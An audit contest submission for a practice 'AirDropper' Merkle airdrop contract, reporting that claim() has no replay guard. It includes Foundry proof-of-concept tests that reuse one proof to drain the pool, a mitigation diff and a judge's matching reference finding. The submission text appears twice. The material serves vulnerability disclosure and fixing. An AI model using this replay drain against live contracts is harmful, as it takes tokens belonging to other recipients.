AirDropper
AI First Flight #5
Beginner FriendlyDeFiFoundry
EXP
View results
Submission Details
Severity: high
Valid

No replay protection in claim() lets a single recipient drain the entire airdrop pool

dngr2

Summary

MerkleAirdrop::claim never records that an (account, amount) leaf has already been claimed. There is no hasClaimed mapping, bitmap, or any other replay guard. The exact same (account, amount, merkleProof) triple can be submitted to claim() an unlimited number of times, each call paying only the trivial FEE (1e9 wei) and receiving another amount of tokens — draining the entire airdrop pool to a single recipient instead of the one allocation they were actually entitled to.

Description

function claim(address account, uint256 amount, bytes32[] calldata merkleProof) external payable {
if (msg.value != FEE) {
revert MerkleAirdrop__InvalidFeeAmount();
}
bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(account, amount))));
if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) {
revert MerkleAirdrop__InvalidProof();
}
emit Claimed(account, amount);
i_airdropToken.safeTransfer(account, amount);
}

Every check in claim() — the fee amount and the Merkle proof — is stateless: given the same inputs, they pass identically on every call, forever. Nothing marks (account, amount) as spent. This project describes itself as based on Uniswap's MerkleDistributor, but the defining feature of that reference implementation — a claimedBitMap that flips a bit for each claimed index and makes claim() revert on a repeat — is entirely absent here.

Since account is a caller-supplied parameter (not msg.sender), anyone can call claim() on behalf of any address with a valid proof for it — that part is a normal, intentional "claim on behalf" pattern and not itself a bug. The actual vulnerability is that the legitimate owner of a real leaf (or anyone relaying on their behalf) can call claim() for that same leaf as many times as they want. Each call is independently valid because validity never depends on prior claims — only on the fee and the (unconsumed) Merkle proof.

Risk

Likelihood: High — requires no special conditions at all; the very first legitimate claim already establishes a valid, reusable (account, amount, proof) triple, and nothing about the contract state changes to prevent reuse.

Impact: High — a single claimant can drain the entire token balance held by the contract, not just their own allocation, stealing every other recipient's share for a fee of ~1e9 wei per repeat (a negligible cost, and one the attacker can even recover indirectly since it just accrues to the owner's fee balance).

Proof of Concept

test/PoC_dngr2.t.sol (using the exact same merkle root / proof / mock token fixture as the project's own MerkleAirdropTest.t.sol):

## Summary
​
`MerkleAirdrop::claim` never records that an `(account, amount)` leaf has already been claimed. There is no `hasClaimed` mapping, bitmap, or any other replay guard. The exact same `(account, amount, merkleProof)` triple can be submitted to `claim()` an unlimited number of times, each call paying only the trivial `FEE` (1e9 wei) and receiving another `amount` of tokens — draining the entire airdrop pool to a single recipient instead of the one allocation they were actually entitled to.
​
## Description
​
```solidity
function claim(address account, uint256 amount, bytes32[] calldata merkleProof) external payable {
if (msg.value != FEE) {
revert MerkleAirdrop__InvalidFeeAmount();
}
bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(account, amount))));
if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) {
revert MerkleAirdrop__InvalidProof();
}
emit Claimed(account, amount);
i_airdropToken.safeTransfer(account, amount);
}
```
​
Every check in `claim()` — the fee amount and the Merkle proof — is *stateless*: given the same inputs, they pass identically on every call, forever. Nothing marks `(account, amount)` as spent. This project describes itself as based on Uniswap's `MerkleDistributor`, but the defining feature of that reference implementation — a `claimedBitMap` that flips a bit for each claimed index and makes `claim()` revert on a repeat — is entirely absent here.
​
Since `account` is a caller-supplied parameter (not `msg.sender`), *anyone* can call `claim()` on behalf of any address with a valid proof for it — that part is a normal, intentional "claim on behalf" pattern and not itself a bug. The actual vulnerability is that the legitimate owner of a real leaf (or anyone relaying on their behalf) can call `claim()` for that same leaf as many times as they want. Each call is independently valid because validity never depends on prior claims — only on the fee and the (unconsumed) Merkle proof.
​
## Risk
​
**Likelihood**: High — requires no special conditions at all; the very first legitimate claim already establishes a valid, reusable `(account, amount, proof)` triple, and nothing about the contract state changes to prevent reuse.
​
**Impact**: High — a single claimant can drain the entire token balance held by the contract, not just their own allocation, stealing every other recipient's share for a fee of ~1e9 wei per repeat (a negligible cost, and one the attacker can even recover indirectly since it just accrues to the owner's fee balance).
​
## Proof of Concept
​
`test/PoC_dngr2.t.sol` (using the exact same merkle root / proof / mock token fixture as the project's own `MerkleAirdropTest.t.sol`):
​
```solidity
function test_H1_noReplayProtection_drainsEntirePoolWithOneValidProof() public {
uint256 fee = airdrop.getFee();
vm.deal(collectorOne, fee * 4);
​
vm.startPrank(collectorOne);
airdrop.claim{ value: fee }(collectorOne, amountToCollect, proof); // legitimate claim
airdrop.claim{ value: fee }(collectorOne, amountToCollect, proof); // replay #1
airdrop.claim{ value: fee }(collectorOne, amountToCollect, proof); // replay #2
airdrop.claim{ value: fee }(collectorOne, amountToCollect, proof); // replay #3
vm.stopPrank();
​
// collectorOne walked away with the ENTIRE pool (4x their real
// allocation) -- the other 3 recipients' shares, drained by someone
// only ever entitled to 1/4 of it.
assertEq(token.balanceOf(collectorOne), amountToCollect * 4);
assertEq(token.balanceOf(address(airdrop)), 0);
}
```
​
A second test (`test_H1b_drainScalesWithContractBalance_notEntitlement`) tops the pool up well beyond the original funding and shows the same single proof keeps working — 24 successful claims from one triple that should have been redeemable exactly once — confirming the drain is bounded only by the contract's balance, not by the claimant's actual entitlement. Both pass: `forge test --match-path test/PoC_dngr2.t.sol -vv` (2/2).
​
## Recommended Mitigation
​
Track claimed leaves and reject a repeat, mirroring the reference `MerkleDistributor` design:
​
```diff
+ mapping(address => mapping(uint256 => bool)) private s_hasClaimed;
+ error MerkleAirdrop__AlreadyClaimed();
...
function claim(address account, uint256 amount, bytes32[] calldata merkleProof) external payable {
if (msg.value != FEE) {
revert MerkleAirdrop__InvalidFeeAmount();
}
+ if (s_hasClaimed[account][amount]) {
+ revert MerkleAirdrop__AlreadyClaimed();
+ }
bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(account, amount))));
if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) {
revert MerkleAirdrop__InvalidProof();
}
+ s_hasClaimed[account][amount] = true;
emit Claimed(account, amount);
i_airdropToken.safeTransfer(account, amount);
}
```
​
(A single `mapping(address => bool)` also works if each address only ever has one possible `amount`/leaf in the tree, as in this deployment; keying on both is the more general-purpose fix.)
​

A second test (test_H1b_drainScalesWithContractBalance_notEntitlement) tops the pool up well beyond the original funding and shows the same single proof keeps working — 24 successful claims from one triple that should have been redeemable exactly once — confirming the drain is bounded only by the contract's balance, not by the claimant's actual entitlement. Both pass: forge test --match-path test/PoC_dngr2.t.sol -vv (2/2).

Recommended Mitigation

Track claimed leaves and reject a repeat, mirroring the reference MerkleDistributor design:

+ mapping(address => mapping(uint256 => bool)) private s_hasClaimed;
+ error MerkleAirdrop__AlreadyClaimed();
...
function claim(address account, uint256 amount, bytes32[] calldata merkleProof) external payable {
if (msg.value != FEE) {
revert MerkleAirdrop__InvalidFeeAmount();
}
+ if (s_hasClaimed[account][amount]) {
+ revert MerkleAirdrop__AlreadyClaimed();
+ }
bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(account, amount))));
if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) {
revert MerkleAirdrop__InvalidProof();
}
+ s_hasClaimed[account][amount] = true;
emit Claimed(account, amount);
i_airdropToken.safeTransfer(account, amount);
}

(A single mapping(address => bool) also works if each address only ever has one possible amount/leaf in the tree, as in this deployment; keying on both is the more general-purpose fix.)

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 1 hour ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Eligible users can claim their airdrop amounts over and over again, draining the contract

## Description A user eligible for the airdrop can verify themselves as being part of the merkle tree and claim their airdrop amount. However, there is no mechanism enabled to track the users who have already claimed their airdrop, and the merkle tree is still composed of the same user. This allows users to drain the `MerkleAirdrop` contract by calling the `MerkleAirdrop::claim()` function over and over again. ## Impact **Severity: High**<br/>**Likelihood: High** A malicious user can call the `MerkleAirdrop::claim()` function over and over again until the contract is drained of all its funds. This also means that other users won't be able to claim their airdrop amounts. ## Proof of Code Add the following test to `./test/MerkleAirdrop.t.sol`, ```javascript function testClaimAirdropOverAndOverAgain() public { vm.deal(collectorOne, airdrop.getFee() * 4); for (uint8 i = 0; i < 4; i++) { vm.prank(collectorOne); airdrop.claim{ value: airdrop.getFee() }(collectorOne, amountToCollect, proof); } assertEq(token.balanceOf(collectorOne), 100e6); } ``` The test passes, and the malicious user has drained the contract of all its funds. ## Recommended Mitigation Use a mapping to store the addresses that have claimed their airdrop amounts. Check and update this mapping each time a user tries to claim their airdrop amount. ```diff contract MerkleAirdrop is Ownable { using SafeERC20 for IERC20; error MerkleAirdrop__InvalidFeeAmount(); error MerkleAirdrop__InvalidProof(); error MerkleAirdrop__TransferFailed(); + error MerkleAirdrop__AlreadyClaimed(); uint256 private constant FEE = 1e9; IERC20 private immutable i_airdropToken; bytes32 private immutable i_merkleRoot; + mapping(address user => bool claimed) private s_hasClaimed; ... function claim(address account, uint256 amount, bytes32[] calldata merkleProof) external payable { + if (s_hasClaimed[account]) revert MerkleAirdrop__AlreadyClaimed(); if (msg.value != FEE) { revert MerkleAirdrop__InvalidFeeAmount(); } bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(account, amount)))); if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) { revert MerkleAirdrop__InvalidProof(); } + s_hasClaimed[account] = true; emit Claimed(account, amount); i_airdropToken.safeTransfer(account, amount); } ``` Now, let's unit test the changes, ```javascript function testCannotClaimAirdropMoreThanOnceAnymore() public { vm.deal(collectorOne, airdrop.getFee() * 2); vm.prank(collectorOne); airdrop.claim{ value: airdrop.getFee() }(collectorOne, amountToCollect, proof); vm.prank(collectorOne); airdrop.claim{ value: airdrop.getFee() }(collectorOne, amountToCollect, proof); } ``` The test correctly fails, with the following logs, ```shell Failing tests: Encountered 1 failing test in test/MerkleAirdropTest.t.sol:MerkleAirdropTest [FAIL. Reason: MerkleAirdrop__AlreadyClaimed()] testCannotClaimAirdropMoreThanOnceAnymore() (gas: 96751) ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!